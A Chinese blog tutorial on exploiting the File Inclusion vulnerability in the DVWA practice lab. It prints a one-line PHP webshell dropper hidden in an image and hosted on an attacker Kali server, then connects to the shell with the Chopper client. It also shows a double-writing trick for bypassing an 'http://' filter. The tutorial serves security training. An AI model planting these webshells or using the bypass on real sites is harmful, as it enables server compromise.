DVWA靶机-File Inclusion(文件包含漏洞)

File Inclusion(文件包含漏洞)

文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来打到自己的目的。

1.文件包含(File Inclusion)即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能

2.被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞

3.文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等包含函数

文件包含分为两类:

本地文件包含LFI(Local File Inclusion) 当被包含的文件在服务器本地时,就形成本地文件包含

远程文件包含RFI(Remote File Inclusion) 当被包含的文件在第三方服务器时,叫做远程文件包含

本地文件包含

在这里插入图片描述

本地文件包含就是给?page=传参,下面看一下原理

在这里插入图片描述

F.php和G.php是开发人员写的多页面都要实现的功能,如果每个页面都要重新写一次这些代码,那么代码量未免有点大了,所以他们这时候都会把这两个功能代码单独写进一个php文件里面,然后在index.php里面把这两个功能代码给包含进来(include f.php和include g.php)

有个别懒一点的开发人员,会脑抽写了一行include *.php,意思就是包含所有的php文件,或者include *包含所有文件,这样就造就了一个文件包含漏洞

如果有一些别有用心的人想攻击这个网页,那么他们可以上传一张正常的图片,并在图片里面加入生成一句话木马的代码,再通过文件包含漏洞把这张图片包含进来(一旦包含,网页就会自动执行这个上传的内容,如果是代码就执行代码,图片里面藏着的代码也不例外)就可以获得后门了

我们在当前目录下创建一个php文件(当做是上传上去的文件)

<?php echo 'hello world!' ?>

在这里插入图片描述

然后在url里面包含一下这个a.php

在这里插入图片描述

可以a.php被执行了出来,这里只是一个没有恶意的php代码,那么如果我们包含一个木马文件呢又或是查看某些隐私文件呢

在这里插入图片描述

现在进入正题

1.制作一句话木马图片 e.g. dzq2.jpg
<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[pass]);?>')?>
2.上传图片木马文件
3.执行文件包含并生成后门
4.通过菜刀连接webshell

tips:
/var/www/dvwa/hackable/uploads		//dvwa文件上传访问的目录 dzq2.jpg
/var/www/dvwa/vulnerabilities/fi	//dvwa文件包含访问的目录 shell.php

先往图片里面写入制作木马的代码

在这里插入图片描述

然后将这张图片上传上去
在这里插入图片描述

返回文件包含漏洞那个页面,执行文件包含并且生成一个木马文件

在这里插入图片描述

返回一堆乱码说明执行成功了,在文件包含的目录下也看到了shell20的生成
在这里插入图片描述

用菜刀进行连接

在这里插入图片描述

成功的入侵了

远程文件包含

在这里插入图片描述

远程文件包含相比于本地文件包含较简单一些,因为本地文件包含你需要做的事情是想办法绕过重重阻拦把程序上传到网页的服务器。而远程文件包含只需要搭建一个服务器,然后把你的木马php文件或者jpg图片什么的上传到你搭建的服务器上,然后在页面包含一下你的木马程序路径就行了,这相当于让目标页面去访问你带有木马的服务器

root@kali:~# service apache2 start  //开启apache

root@kali:~# vim /var/www/html/yangge.txt  //制作一个木马文件
<?fputs(fopen("shell50.php","w"),'<?php eval($_POST[pass]);?>')?>
//执行后生成一个shell50.php的文件,内容是一句话木马

在文件包含漏洞页面的url除输入服务器地址+文件路径
在这里插入图片描述

回车运行不会返回任何结果,但是代码已经执行了,进入文件包含的目录可以看到shell50

在这里插入图片描述

菜刀连接

在这里插入图片描述

入侵成功

文件包含漏洞防御的绕过

<?php

    $file = $_GET['page']; // The page we wish to display 

    // Bad input validation
    $file = str_replace("http://", "", $file);
    $file = str_replace("https://", "", $file);        


?>

这是dvwa靶机文件包含漏洞medium级别的源代码

可以看到他是对远程文件包含进行了限制,将http://和https://进行了替换

那么我们可以怎么绕呢

httphttp://://xxxx			//进行双写被替换掉的部分
//httphttp://://  -  http://  =  http://

可以看到他是对远程文件包含进行了限制,将http://和https://进行了替换

那么我们可以怎么绕呢

httphttp://://xxxx			//进行双写被替换掉的部分
//httphttp://://  -  http://  =  http://
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值